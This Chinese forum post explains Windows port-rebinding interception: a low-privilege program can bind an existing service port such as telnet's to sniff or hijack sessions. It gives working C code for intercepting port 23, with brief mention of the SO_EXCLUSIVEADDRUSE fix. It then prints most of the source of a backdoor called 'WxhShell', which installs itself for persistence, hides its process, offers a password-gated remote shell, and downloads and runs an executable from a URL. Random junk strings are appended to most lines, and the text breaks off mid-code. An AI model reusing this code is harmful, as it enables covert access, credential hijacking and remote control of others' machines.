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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 5>ST"l_ca  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); *"G8  
d\XRUO[  
  saddr.sin_family = AF_INET; _& 4its  
h <[+HsI  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); `:-J+<`  
1}`LTPW9  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); RyRqH:p)3  
~'  =lou  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 voRfjsS~  
<qiICb)~  
  这意味着什么?意味着可以进行如下的攻击: DB&SOe  
hD 46@  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ! VRI_c  
z-0:m|=yH  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Q.(51]'  
u5gZxO1J5  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 2A$0CUMb  
~2N-k1'-'  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  "L~@.W!@  
^[M~K5Y  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 hrM"Zg  
5(}H ?  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 d7bjbJwu  
= ?N^>zie  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 z=?0)e(H,  
&R\XUxI  
  #include 6hbEO-(  
  #include C"T ,MH  
  #include '}O!2W&Y]%  
  #include    PF ;YE6  
  DWORD WINAPI ClientThread(LPVOID lpParam);   |qL;Nu,d  
  int main() FH n,]Tfx  
  { ^L~ [+|  
  WORD wVersionRequested; o?R,0 -  
  DWORD ret; Ry%YM,K3  
  WSADATA wsaData; l/V&s<  
  BOOL val; fJ :jk6@  
  SOCKADDR_IN saddr; ^~I @ spR4  
  SOCKADDR_IN scaddr; ti;%BS  
  int err; _XN~@5elrC  
  SOCKET s; `03<0L   
  SOCKET sc; 9c5!\m1  
  int caddsize; oBUh]sR{.  
  HANDLE mt; &8Wlps`  
  DWORD tid;   x9*ys;~w  
  wVersionRequested = MAKEWORD( 2, 2 );  g@(30{  
  err = WSAStartup( wVersionRequested, &wsaData ); CB@B.)E  
  if ( err != 0 ) { |,fh)vO  
  printf("error!WSAStartup failed!\n"); By/bVZks  
  return -1; Pt3[|4L  
  } `Wwh`]#"~d  
  saddr.sin_family = AF_INET; 3GWrn ,f  
   u@"o[e':  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ty;o&w$  
aT/KT,!  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60");  ,(hY%M&\  
  saddr.sin_port = htons(23); KS>Fl->  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |7S:l9;  
  { F9D"kG;Dk  
  printf("error!socket failed!\n"); xhD$e= g  
  return -1; ?HxS)Pqq  
  } [xS5z1;  
  val = TRUE; JE%i-UVH+;  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 l_sg)Vr/b  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) v=bv@c  
  { ZmO' IT=Ye  
  printf("error!setsockopt failed!\n"); }Ch[|D=Wd6  
  return -1; 3&'R1~Vh  
  } Cs;<'[_?YO  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; NQ3|\<Wt  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 i~AJ.@ #  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 AuM:2N2  
L(Rorf~V  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ~g96o81V  
  { E#~2wqK  
  ret=GetLastError(); 1(F'~i|5  
  printf("error!bind failed!\n"); NFM-)Z57  
  return -1; Pb=rFas*C  
  } [b pwg&Oo  
  listen(s,2); pgfu+K7?w  
  while(1) "] 9_Fv  
  { D99N#36PU  
  caddsize = sizeof(scaddr); S%P3ek>3  
  //接受连接请求 8I {56$  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); H!^C2  
  if(sc!=INVALID_SOCKET) u> In(7\  
  { ^"/Dih\_  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 9/Q S0  
  if(mt==NULL) GfQ^@Tl  
  { 0 wYiu  
  printf("Thread Creat Failed!\n"); ^8U6"O6|X  
  break; oYGUjI  
  } :'b%5/ ^q  
  } +"G(  
  CloseHandle(mt); |3W3+Rn!  
  } 7vdHR\#;$  
  closesocket(s); qFGB'mIrFz  
  WSACleanup(); .k|-Ks|d|  
  return 0; ^K*~ <O-  
  }   j!"iYtgV  
  DWORD WINAPI ClientThread(LPVOID lpParam) \j/}rzo]  
  { rGAFp,}-f  
  SOCKET ss = (SOCKET)lpParam; ]b!R-G!gV  
  SOCKET sc; 's/27=o  
  unsigned char buf[4096]; \Z8Y(]6*  
  SOCKADDR_IN saddr; L)=8mF.  
  long num; %!#rrt,F  
  DWORD val; =`ywd]\7  
  DWORD ret; A1Ibx|K  
  //如果是隐藏端口应用的话,可以在此处加一些判断 /G[+E&vj  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   )SC`6(GW  
  saddr.sin_family = AF_INET; .w=:+msL{(  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ?\l!]vu*  
  saddr.sin_port = htons(23); ^S:cNRSW"  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) <(ubZ  
  { sd]0Hx[  
  printf("error!socket failed!\n"); {m>~`   
  return -1; sL;z"N@PK  
  } SIJ# ?0,  
  val = 100; V&$  J;  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) t P At?  
  { Fj36K6!#?  
  ret = GetLastError(); 'XG:1Bpm  
  return -1; h7)VJY  
  } 6Eij>{v  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) FDZeIj9uF  
  { -+`az)lrp  
  ret = GetLastError(); 9 #.<E5:  
  return -1; |A2W8b {]  
  } &P{o{  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) I}I}K~se*  
  { LJ:mJ#  
  printf("error!socket connect failed!\n"); 7v.#o4nPK  
  closesocket(sc); D6"~fjHh  
  closesocket(ss); [+Yl;3 &]  
  return -1; (bM)Nd  
  } IH*U!_ `  
  while(1) y_;]=hEL  
  { 5>0\e_V  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 0]/,m4a#n  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 5? S{W  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 :4Id7Ce  
  num = recv(ss,buf,4096,0); _wIBm2UO  
  if(num>0) &*LA_]1@  
  send(sc,buf,num,0); d8VWi*  
  else if(num==0) YY1{v?[  
  break; [w+yQ7P  
  num = recv(sc,buf,4096,0); 9;r48)5  
  if(num>0) u)N2  
  send(ss,buf,num,0); ;Hz`0V  
  else if(num==0) |SwZi'p  
  break; ..v@Q%  
  } Xq} n^W  
  closesocket(ss); Qq @_Z=mt  
  closesocket(sc); tRpL0 =y  
  return 0 ; KY;uO 8Te  
  } ,'/HcF?yf  
g]oc(RM  
$X{B* WF  
========================================================== nph7&[xQI  
:e5:\|5*5  
下边附上一个代码,,WXhSHELL z_)OWWdN  
>e5q2U   
========================================================== ^!-E`<jW8  
tU-#pB>H  
#include "stdafx.h" %N?W]vbra  
'b?#4rq}  
#include <stdio.h> %Q>~7P  
#include <string.h> uyS^W'fF  
#include <windows.h> oho AUT  
#include <winsock2.h> S|O%h}AH;  
#include <winsvc.h> *Xf[b)FR  
#include <urlmon.h> QSl:=Q'  
_>Pe]3  
#pragma comment (lib, "Ws2_32.lib") c,{&  
#pragma comment (lib, "urlmon.lib") sM);gI14  
9Y!0>&o  
#define MAX_USER   100 // 最大客户端连接数 2Mv)0%,c  
#define BUF_SOCK   200 // sock buffer cP$wI;P  
#define KEY_BUFF   255 // 输入 buffer GA%"w=M\  
Azdz3/  
#define REBOOT     0   // 重启 P|!/mu]  
#define SHUTDOWN   1   // 关机 OXa5Jg}=  
4jq`No_  
#define DEF_PORT   5000 // 监听端口 \_-kOS  
CrQA :_Z(7  
#define REG_LEN     16   // 注册表键长度 f<$K.i  
#define SVC_LEN     80   // NT服务名长度 Dn{19V. L  
TA-(_jm  
// 从dll定义API p: Q%Lg_I  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); TV[6+i*#  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); tXb7~aO  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `gBXeG2fn  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); a3(7{,Ew  
"`V"2zZlj  
// wxhshell配置信息 ^bY^x+d  
struct WSCFG { K"t:B  
  int ws_port;         // 监听端口 eKU@>5  
  char ws_passstr[REG_LEN]; // 口令 ,/[dmoe  
  int ws_autoins;       // 安装标记, 1=yes 0=no /o}0oo5B  
  char ws_regname[REG_LEN]; // 注册表键名 ozxK?AMgG  
  char ws_svcname[REG_LEN]; // 服务名 b'Piymx  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 -?2&5YB  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 X,C/x)  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ><:lUt*N2  
int ws_downexe;       // 下载执行标记, 1=yes 0=no jmA{rD W  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Cs6zv>SR  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 z wniS6R1  
k8t Na@H  
}; 0W<nE[U  
hD9' `SQ  
// default Wxhshell configuration X&;]  
struct WSCFG wscfg={DEF_PORT, nw]e_sm  
    "xuhuanlingzhe", \CEnOq  
    1, 6LF^[b/u  
    "Wxhshell", #u]_7/(</`  
    "Wxhshell", 2Xq!'NrS  
            "WxhShell Service", x:&L?eOT  
    "Wrsky Windows CmdShell Service", tp,mw24  
    "Please Input Your Password: ", "*H'bzK  
  1, a_}BTkfHa  
  "http://www.wrsky.com/wxhshell.exe", T/spUlWu  
  "Wxhshell.exe" D/%b@Ls2ze  
    }; IZ(CRKCGBl  
07G*M ]  
// 消息定义模块 >sl1 cC  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =+sIX3  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 5k7(!  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";   xhVq  
char *msg_ws_ext="\n\rExit."; 8d*<Aki?;  
char *msg_ws_end="\n\rQuit."; KWuj_.;  
char *msg_ws_boot="\n\rReboot..."; xa%ktn  
char *msg_ws_poff="\n\rShutdown..."; {bq-: CZe  
char *msg_ws_down="\n\rSave to "; j}x O34  
e>i8=U` ;  
char *msg_ws_err="\n\rErr!"; a?Qcf;o  
char *msg_ws_ok="\n\rOK!"; O ]4 x;`)  
:R_#'i  
char ExeFile[MAX_PATH]; +ouy]b0`t  
int nUser = 0; >i#_)th"U!  
HANDLE handles[MAX_USER]; '%|20 j  
int OsIsNt; \"sSS.'  
*"9)a6T t+  
SERVICE_STATUS       serviceStatus; eABdy e  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; %imBGh  
ur"e F  
// 函数声明 (k2J{6]  
int Install(void); 7<C~D,x6  
int Uninstall(void); WU4vb  
int DownloadFile(char *sURL, SOCKET wsh); kl{OO%jZ  
int Boot(int flag); odT7Gq  
void HideProc(void); />j+7ts  
int GetOsVer(void); BNKo6:wy  
int Wxhshell(SOCKET wsl); fKK-c9F   
void TalkWithClient(void *cs); B,na  
int CmdShell(SOCKET sock); x2IU PM  
int StartFromService(void); JI#Enh!Lv  
int StartWxhshell(LPSTR lpCmdLine); L|xen*O  
&.bR1wX  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *U^\Mwp  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); "GC]E8&>H  
u g$\&rM>  
// 数据结构和表定义 Z=5}17kA  
SERVICE_TABLE_ENTRY DispatchTable[] = YPJx/@Z`  
{ uP'w.nA&2  
{wscfg.ws_svcname, NTServiceMain}, -~GJ; Uw  
{NULL, NULL} yp/V 8C  
}; Rb>RjHo S  
%JH_Nw.P  
// 自我安装 kG7,1teMk  
int Install(void) $(mdz)Cfy  
{ =&g}Y  
  char svExeFile[MAX_PATH]; aD3F!Sn  
  HKEY key; v]Q_  
  strcpy(svExeFile,ExeFile); (,9cCnvmYU  
k)GuMw  
// 如果是win9x系统,修改注册表设为自启动 \f Fy$  
if(!OsIsNt) { i I Nu`>I  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `h{mj|~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); bqwW9D(  
  RegCloseKey(key); Mh/>qyS *2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^3@a0J=F  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); O0*L9C/Q  
  RegCloseKey(key); pj-HLuZR  
  return 0; e8uIh[+ 0  
    } )B5gs%u]  
  } Y\9*e5?`I3  
} U:p"IY#%  
else { F0^~YYRJV  
W%Nu]9T  
// 如果是NT以上系统,安装为系统服务 |l\/ {F  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); lJ1xx}k{U  
if (schSCManager!=0) Tq_X8X#p  
{ !U~#H_  
  SC_HANDLE schService = CreateService j I@$h_n  
  ( v^I%Wm  
  schSCManager, o*ED!y7  
  wscfg.ws_svcname, 8q[WfD  
  wscfg.ws_svcdisp, zZ0V6T}  
  SERVICE_ALL_ACCESS, Cspm\F  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , -oT+;2\2  
  SERVICE_AUTO_START, iwx0V  
  SERVICE_ERROR_NORMAL, F,2#;t4  
  svExeFile, 4O"kOEkKT>  
  NULL, >{) #|pWU  
  NULL, _N#3lU?  
  NULL, |a:VpM  
  NULL, Uht:wEr  
  NULL ]~ eWr2uG?  
  ); GYmBxX87  
  if (schService!=0) }uj'BO2?  
  { f<:SdtG5  
  CloseServiceHandle(schService); w*kFtNBfU  
  CloseServiceHandle(schSCManager); h_"/@6  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); G9":z|  
  strcat(svExeFile,wscfg.ws_svcname); >}(*s^!k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { :q[n1 O[Ch  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); r&~iEO|?\  
  RegCloseKey(key); n\al}KG  
  return 0; T eTOj|  
    } {h+E&u[zL  
  } 2s ,n!u Fd  
  CloseServiceHandle(schSCManager); Sq]1SW3  
} \@" . GM%  
} XFAt\g  
BjJ gQ`X  
return 1; j?)`VLZ  
} <Y'YpH`l  
w3UJw  
// 自我卸载 #IA(*oM  
int Uninstall(void) CP#MNNvgrw  
{ 'ZgW~G]S  
  HKEY key; 6U3@-+lF  
8=AKOOU7>  
if(!OsIsNt) { HCy}'}d  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <?}g[]i  
  RegDeleteValue(key,wscfg.ws_regname); 0|vWwZq  
  RegCloseKey(key); 3YF]o9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~?+m=\  
  RegDeleteValue(key,wscfg.ws_regname); ~i#xjD5  
  RegCloseKey(key); l:/V%{sx  
  return 0; 5i&V ~G  
  } rmoEc]kt]  
} 2 ~'quA  
} %K,,Sl_  
else { n=MYv(Pp}  
[cs8/Q8+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @(?d0xCg  
if (schSCManager!=0) -^"?a]B  
{ `W S  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ~H~4 fp b  
  if (schService!=0) ~[,TLg 6  
  { X*) :N]  
  if(DeleteService(schService)!=0) { H<?yG->  
  CloseServiceHandle(schService); `t2! M\)  
  CloseServiceHandle(schSCManager); CU&,Kq@  
  return 0; 9xp ;$14  
  } }TLC b/+  
  CloseServiceHandle(schService); bcs(#  
  }  e n":  
  CloseServiceHandle(schSCManager); 9?6$ 2I  
} .r"?w  
} 9>P(eN  
[! BH3J!  
return 1; IGQ8-#=  
} 7QFEQ}  
,FO|'l  
// 从指定url下载文件 H:Le^WS  
int DownloadFile(char *sURL, SOCKET wsh) ,' B=eY,  
{ gC 4#!P  
  HRESULT hr; ?J-KB3Uv3  
char seps[]= "/"; %V/]V,w:*R  
char *token; wUndNE   
char *file; YT8`Vz$+  
char myURL[MAX_PATH]; 8A_(]Q  
char myFILE[MAX_PATH]; {`55nwd  
(7 iMIY  
strcpy(myURL,sURL); Xs_y!l  
  token=strtok(myURL,seps); &[pw LYf7  
  while(token!=NULL) N*W.V,6yH  
  { #1k,t  
    file=token; c5pG?jr+d  
  token=strtok(NULL,seps); w:v:znQrW  
  } x N)Ck76  
Op~+yMef  
GetCurrentDirectory(MAX_PATH,myFILE); (#lS?+w)  
strcat(myFILE, "\\"); r>o6}Mx$  
strcat(myFILE, file); G= e[TR)i  
  send(wsh,myFILE,strlen(myFILE),0); :8 :>CHa  
send(wsh,"...",3,0); Nx'j+>bz>y  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); K6oLSr+EAK  
  if(hr==S_OK) Hy'&x?F6  
return 0; Yw0@O1Cel  
else 0jH2. d=  
return 1; + >j_[O5Y  
g=Jfp$*[  
} ,88}5)b[  
s]UeDZ <a  
// 系统电源模块 <D}k@M Z  
int Boot(int flag) 3E-&8x7uYR  
{ O8%/Id  
  HANDLE hToken; KW\`&ki  
  TOKEN_PRIVILEGES tkp; g;T`~  
pz+#1=b]  
  if(OsIsNt) { ?*=Jq  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5 B6:pH6e  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); (B5G?cB9  
    tkp.PrivilegeCount = 1; L\I/2aiE  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; u#<]>EtbB  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 1)y}.y5S  
if(flag==REBOOT) { (X/JXu{  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 2z:9^a/]Na  
  return 0; qS>el3G  
} \&fK8H1  
else { R}FN6cH  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) X*@S j;|m  
  return 0; 1|--Xnv  
} t)h3GM  
  } X@rAe37h+  
  else { RWYA`  
if(flag==REBOOT) { ="4)!  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) KMa?2cJH#  
  return 0; %o>1$f]  
} q_bB/   
else { 7JbrIdDl|  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) =zdRoXBY[b  
  return 0; S3w? X  
} %"D-1&%zY  
} eo !{rs@f  
Jh1fM`kB5K  
return 1; #\qES7We 6  
} * -)aGL  
oID, PB*9  
// win9x进程隐藏模块 ZC"p^~U_e[  
void HideProc(void) c)?y3LX  
{ |yr}g-m  
JXrMtSp\  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \TjsXy=:)  
  if ( hKernel != NULL ) P$Nwf,d2u  
  { '0+-Hit?  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); HUH=Y;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;IyQqP#,<  
    FreeLibrary(hKernel); q-'zZ#  
  } Q =Z-vTD+  
j1)w1WY0@  
return; *=rl<?tX  
} @L0.Z1 ).  
mSs%gL]g  
// 获取操作系统版本 ^+88z>  
int GetOsVer(void) +m_quQ/ys  
{ $ |AxQQ%f  
  OSVERSIONINFO winfo; h8Gp>b  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); pV_2JXM~@  
  GetVersionEx(&winfo); *5^h>Vk/  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) bTJ7RqL  
  return 1; ;TYkJH"  
  else nL9m{$Zv  
  return 0; k 2~j:&p  
} OvkYzI`  
yfj<P/aA+  
// 客户端句柄模块 u7K0m! jW  
int Wxhshell(SOCKET wsl) rR xqV?>n!  
{ ebf0;1!  
  SOCKET wsh; ]`%cTdpLj  
  struct sockaddr_in client; C 7v 8  
  DWORD myID; : 7'anj  
}0:=)e  
  while(nUser<MAX_USER) !^w+<p  
{ xGjEEBL  
  int nSize=sizeof(client); [dL#0~CL$  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Gmc0yRN  
  if(wsh==INVALID_SOCKET) return 1; /J^yOR9  
:%R3( &  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); I/c* ?  
if(handles[nUser]==0) 7C=t19&R'  
  closesocket(wsh); (sY?"(~j?T  
else  1r$q $\  
  nUser++; W<t,Ivg  
  } DF<_Ns!  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); vb# d%1b5  
rQU;?[y  
  return 0; YQ&Xd/z-  
} fU,sn5zZ  
l78zS'  
// 关闭 socket Zx@{nVoYe~  
void CloseIt(SOCKET wsh) EI'(  
{ N/(&&\3  
closesocket(wsh); ) b?HK SqI  
nUser--; (V*ggii@  
ExitThread(0); M^a QH/=:"  
} Gt'%:9r  
I_4'9  
// 客户端请求句柄 !RV}dhI  
void TalkWithClient(void *cs) P7Kp*He)  
{ Eg>MG87  
7^=O^!sa  
  SOCKET wsh=(SOCKET)cs; 0EOpK%{  
  char pwd[SVC_LEN]; bPWIf*3#  
  char cmd[KEY_BUFF]; |+%K89W  
char chr[1]; 0]&~ddL  
int i,j; $w{#o E  
uk16  
  while (nUser < MAX_USER) { W,:*`  
q*8^938  
if(wscfg.ws_passstr) { .Um.dXBYU  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @wb V@  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 88G Q  F  
  //ZeroMemory(pwd,KEY_BUFF); al1Uf]xh  
      i=0; 9 u{#S}c`  
  while(i<SVC_LEN) { ~!\n  
|nIm$p'  
  // 设置超时 7i`8 c =.  
  fd_set FdRead; .M!HVq47m  
  struct timeval TimeOut; wUab)L  
  FD_ZERO(&FdRead); 49cQA$Ad  
  FD_SET(wsh,&FdRead); |d&a&6U:  
  TimeOut.tv_sec=8; *22}b.)  
  TimeOut.tv_usec=0; >zVj+  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); &jr'vS[b  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Qn_*(CSp  
h5>JBLawQP  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wpO-cJ!,  
  pwd=chr[0]; Mz_*`lRN  
  if(chr[0]==0xd || chr[0]==0xa) { |}t[- a  
  pwd=0; ;vnG  
  break; \^i/:  
  } ewN!7  
  i++; zQ&`|kS  
    } \:, dWL u  
P >HEV a  
  // 如果是非法用户,关闭 socket w|7<y8#qC  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); jw]~g+x#$  
} l*rli[No  
D=i)AZqMPp  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); y ~7]9?T  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hKj"Lb9 ]  
Tapj7/0`  
while(1) { %3!DRz  
g4^=Q'j-  
  ZeroMemory(cmd,KEY_BUFF); 0 fX  
Yjx*hv&?  
      // 自动支持客户端 telnet标准   g)nsP  
  j=0; FMh SHa/B  
  while(j<KEY_BUFF) { |]y]K%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v!JQ;OX  
  cmd[j]=chr[0]; BxVo>r  
  if(chr[0]==0xa || chr[0]==0xd) { 0rP`BK|  
  cmd[j]=0; bS[;d5  
  break; p'tB4V qT  
  } 5 ELKL#(  
  j++; Zl^#U c"  
    } bxLeQWr6  
)2~Iqzc4  
  // 下载文件 U= QfInB  
  if(strstr(cmd,"http://")) { Z:j6AF3;  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); b=(?\  
  if(DownloadFile(cmd,wsh)) QpbyC_:;$4  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); p;$Vw6W=  
  else ?B7n,!&~  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9x$Kb7'F  
  } uY{V^c#mv  
  else { ziPE(B  
,e<(8@BBL  
    switch(cmd[0]) { @ W[LA<  
  8&+m5x S  
  // 帮助 sTv;Ogs.  
  case '?': { *c9/ I  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ruiAEC<Ej  
    break; pu3ly&T#a_  
  } :!Ea.v  
  // 安装 5'*v-l,[  
  case 'i': { 4'9yMXR  
    if(Install()) {kVhht]X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \-i5b  
    else vy&q7EX<i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x=]PE}<E  
    break; zI1-l9 o  
    } Qv4g#jX{  
  // 卸载 D_VAtz  
  case 'r': { *c<0cHv*  
    if(Uninstall()) *PEk+e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0@cc XF E  
    else " b?1Yc-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ` 9iB`<  
    break; gK7bP'S8H  
    } <? h`  
  // 显示 wxhshell 所在路径 yCC.j%@  
  case 'p': { kIR?r0_<G6  
    char svExeFile[MAX_PATH]; !5FZxmUup  
    strcpy(svExeFile,"\n\r"); y{{7)G  
      strcat(svExeFile,ExeFile); Tp-<!^o4  
        send(wsh,svExeFile,strlen(svExeFile),0); KPW2e2{4@  
    break; j6@5"wx  
    } A 9\]y%!  
  // 重启 &"G4yM  
  case 'b': { |1M+FBT$w  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (?[^##03MN  
    if(Boot(REBOOT)) G3r9@ 2OC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `GGACH3#s  
    else { x|3f$ =b  
    closesocket(wsh); y<#?z 8P  
    ExitThread(0); e&*< "WN  
    } |^ K"#K  
    break; h0;PtQb1  
    } 0uZ 'j  
  // 关机 --X1oC52A  
  case 'd': { #I]5)XT  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); .~>Uh3S  
